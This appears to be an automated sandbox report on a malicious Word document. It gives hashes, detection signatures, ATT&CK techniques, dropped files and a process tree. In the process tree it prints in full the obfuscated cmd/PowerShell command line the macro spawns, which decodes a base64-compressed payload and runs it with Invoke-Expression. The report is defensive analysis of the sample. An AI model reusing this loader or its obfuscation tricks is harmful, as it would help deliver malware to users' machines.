3d03fdbc8ba4b4266c88145f8771d44b9c136171e2c76e86c3e86a080b982724

General

Target

dde043cc7b12431ccd51d84137874332_JaffaCakes118.doc
Size

73KB
MD5

dde043cc7b12431ccd51d84137874332
SHA1

774d2da0c838dc58bc35528bee43bf97b5d7ebad
SHA256

3d03fdbc8ba4b4266c88145f8771d44b9c136171e2c76e86c3e86a080b982724
SHA512

696f4e9b9a5f9df07b6ca011a2c54863cf10e9343712139664d52eb50b81150af3862909d08c1464df66d1a4e61a6572887f871e79ae8c1f8af1d8ac6875963c
SSDEEP

768:YBgPVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9b3vKRmCAzWs8z1RA:vPocn1kp59gxBK85fBt+a9OmCq

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4100	2812	CMD.exe	82

Blocklisted process makes network request 6 IoCs

flow	pid	Process
23	4200	powershell.exe
25	4200	powershell.exe
28	4200	powershell.exe
77	4200	powershell.exe
80	4200	powershell.exe
81	4200	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2812	WINWORD.EXE
2812	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4200	powershell.exe
4200	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2812	WINWORD.EXE
2812	WINWORD.EXE
2812	WINWORD.EXE
2812	WINWORD.EXE
2812	WINWORD.EXE
2812	WINWORD.EXE
2812	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2812 wrote to memory of 4100	2812	WINWORD.EXE	86
PID 2812 wrote to memory of 4100	2812	WINWORD.EXE	86
PID 4100 wrote to memory of 4200	4100	CMD.exe	88
PID 4100 wrote to memory of 4200	4100	CMD.exe	88

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dde043cc7b12431ccd51d84137874332_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2812
- C:\Windows\SYSTEM32\CMD.exe
  CMD c:\Windows\SySTEm32\cmd /C "SeT LdEbZ=^& ( $sheLLId[1]+$shelliD[13]+'X') (NEw-oBJEct IO.COmpREsSIoN.deFLaTeSTrEAM([io.MemorYsTrEaM] [CoNVerT]::fROMBASE64STRiNG( 'TZBNa8JAEIb/Sg6BVaybi7bUEEhbK3iwpZZaD71sNhMyurtZNhPjB/53N7ZQLwMz88zDy4Q77RID7bDKNiApeAPi35C9KARDcfis3hNWEtlJFLVtywsEJ3JQSuimRik4UjRapX8EFIVq9hpyFFxWOqplenOrhSwbi9JXB7a+Eg9qvLL235A5UaMCdGhKkYFo6NBxPHPRx7IZvS6e4FYpcqq1cFSDbBz+stFyOkNcHyTjn1Yh9VjK+nFYfK2DJGCP43vmm+MiCcHsJgTaDtgPG3T7AeOwBxYXlQOftRdujiJAE3Rf6J/IHU6h/xafVq1RlchnPuiVuQs6YT+em121heHcS6+TOPOebXyWgmR5Op8v' ) ,[systEM.IO.cOmPRESsion.cOMpressIONMOdE]::DEcomPREss) ^| % { NEw-oBJEct iO.sTReaMReAdER($_,[TEXt.ENCOdIng]::aScIi) } ).reaDToEnD( )&& POwERshELl . (\"{0}{2}{1}\"-f'sE','IteM','T-' ) ( 'vaRIable:9' + 'BUwS' + 'n' ) ( [tYPE]( \"{2}{3}{0}{1}\" -F'RONMe','nT','Env','i')) ; ( ( ^&( 'Ls' ) ( 'vAriAbLe:9' +'BuWS' + 'n' ) ).\"VA`lUe\"::(\"{3}{0}{1}{6}{4}{2}{5}\"-f'iRO','N','riAb','GetenV','a','le','menTV').Invoke( ( \"{1}{0}\" -f'ebZ','ld'),(\"{2}{0}{1}\"-f 'S','s','pRoCe') ) ) ^| ^&( \"{1}{0}{3}{2}\" -f 'nVoKE','I','ESsiOn','-EXpR')"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POwERshELl . (\"{0}{2}{1}\"-f'sE','IteM','T-' ) ( 'vaRIable:9' + 'BUwS' + 'n' ) ( [tYPE]( \"{2}{3}{0}{1}\" -F'RONMe','nT','Env','i')) ; ( ( &( 'Ls' ) ( 'vAriAbLe:9' +'BuWS' + 'n' ) ).\"VA`lUe\"::(\"{3}{0}{1}{6}{4}{2}{5}\"-f'iRO','N','riAb','GetenV','a','le','menTV').Invoke( ( \"{1}{0}\" -f'ebZ','ld'),(\"{2}{0}{1}\"-f 'S','s','pRoCe') ) ) | &( \"{1}{0}{3}{2}\" -f 'nVoKE','I','ESsiOn','-EXpR')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDE83E.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dc4qqv4r.hiy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
a11a6b36e72696bd81b9e11144252fe4

SHA1
93cacfec1a6ede32bd2b79eb97c7f4b658102d4e

SHA256
567655d15a8ff0cc384d2fa0fc2e2564b6155421087641115228d4437cca7278

SHA512
636ccec12e8ebebed8d55c9a59ea012275f75ed2b0e18c85d0df09e130bc874a8ec277b2b1fad9fe881326ae8bdb91a05805b4d400e62d6cb310360d0913f3ee

Download Submit
memory/2812-8-0x00007FFE5A790000-0x00007FFE5A7A0000-memory.dmp

Filesize
64KB

Download
memory/2812-2-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-7-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-17-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-0-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-14-0x00007FFE5A790000-0x00007FFE5A7A0000-memory.dmp

Filesize
64KB

Download
memory/2812-3-0x00007FFE9CD8D000-0x00007FFE9CD8E000-memory.dmp

Filesize
4KB

Download
memory/2812-10-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-12-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-15-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-16-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-19-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-23-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-22-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-21-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-20-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-557-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-6-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-9-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-13-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-11-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-43-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-51-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-560-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-4-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-62-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-5-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-71-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-72-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/2812-1-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-556-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-559-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-558-0x00007FFE5CD70000-0x00007FFE5CD80000-memory.dmp

Filesize
64KB

Download
memory/2812-18-0x00007FFE9CCF0000-0x00007FFE9CEE5000-memory.dmp

Filesize
2.0MB

Download
memory/4200-57-0x00000231F4200000-0x00000231F4222000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads